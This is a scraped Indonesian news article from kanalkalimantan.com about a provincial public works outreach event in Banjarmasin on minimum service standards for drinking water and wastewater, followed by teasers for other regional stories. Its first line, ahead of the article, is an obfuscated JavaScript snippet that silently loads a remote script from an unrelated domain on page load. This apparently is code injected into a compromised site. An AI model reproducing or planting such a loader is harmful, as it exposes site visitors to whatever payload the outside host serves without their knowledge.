(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel menggelar kegiatan Sosialisasi SPM Air Minum dan Air Limbah Provinsi Kalsel di Banjarmasin, Selasa (14/2/2023).
Kegiatan itu dilakukan guna mendorong pelayanan dasar Standar Pelayanan Minimal (SPM) air minum dan air limbah di daerah melalui pembaharuan regulasi yang dituangkan dalam Peraturan Menteri Dalam Negeri (Permendagri) Nomor 59 Tahun 2021 tentang Penerapan SPM.
Hal itu disampaikan Kepala Dinas PUPR Kalsel, Ir Ahmad Solhan ST, MT saat membuka kegiatan.
Solhan mengatakan, Permendagri Nomor 59 tahun 2021 sebagai bentuk penyempurnaan pelaksanaan urusan wajib pelayanan dasar SPM dan diharapkan akan menjamin terwujudnya hak-hak individu masyarakat.
Baca juga: Komisi VI DPR RI Apresiasi PLN Atasi Oversupply melalui Optimasi Kontrak IPP Hingga Rp47 Triliun
“Serta dapat menjamin akses untuk mendapatkan pelayanan dasar yang wajib diselenggarakan oleh pemerintah daerah sesuai ketetapan peraturan perundang-undangan yang berlaku,” jelas dia.
Dia mengatakan, Permendagri Nomor 59 Tahun 2021 tentang Penerapan SPM secara teknis memuat tentang mekanisme dan strategi penerapan SPM mulai dari pengumpulan data, penghitungan pemenuhan kebutuhan dasar, perencanaan dan pelaksanaan SPM serta pelaporan yang lebih detil dan kompleks dari peraturan sebelumnya.
“Oleh karena itu, penyampaian laporan penerapan SPM merupakan kewajiban kepala daerah provinsi, kabupaten dan kota dan setiap triwulan dilaporkan melalui aplikasi SPM kemendagri,” katanya.
Sementara itu, Kabid Cipta Karya, Ryan Tirta Nugraha menambahkan, kegiatan sosialisasi ini sangat penting dalam membuat laporan SPM air minum dan air limbah domestik.
Baca juga: Tiba di Banjarbaru, Anies Langsung Diserbu Massa
“Sosialisasi ini penting kita gaungkan, agar setiap kepala daerah dapat melaporkan kinerjanya ke pemerintah pusat,” katanya.
Kegiatan itu dihadiri 39 peserta dari Dinas PUPR kabupaten/Klkota di Kalsel dan Tim penerapan SPM kabupaten/kota. Narasumber yang dihadirkan, yakni dari Pusat Fasilitasi Infrastruktur Daerah Kementerian PUPR, Balai Prasarana Dan Permukiman Wilayah Provinsi Kalsel, dan Biro Pemerintahan Setda Kalsel. (kanalkalimantan.com/puprkalsel)
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.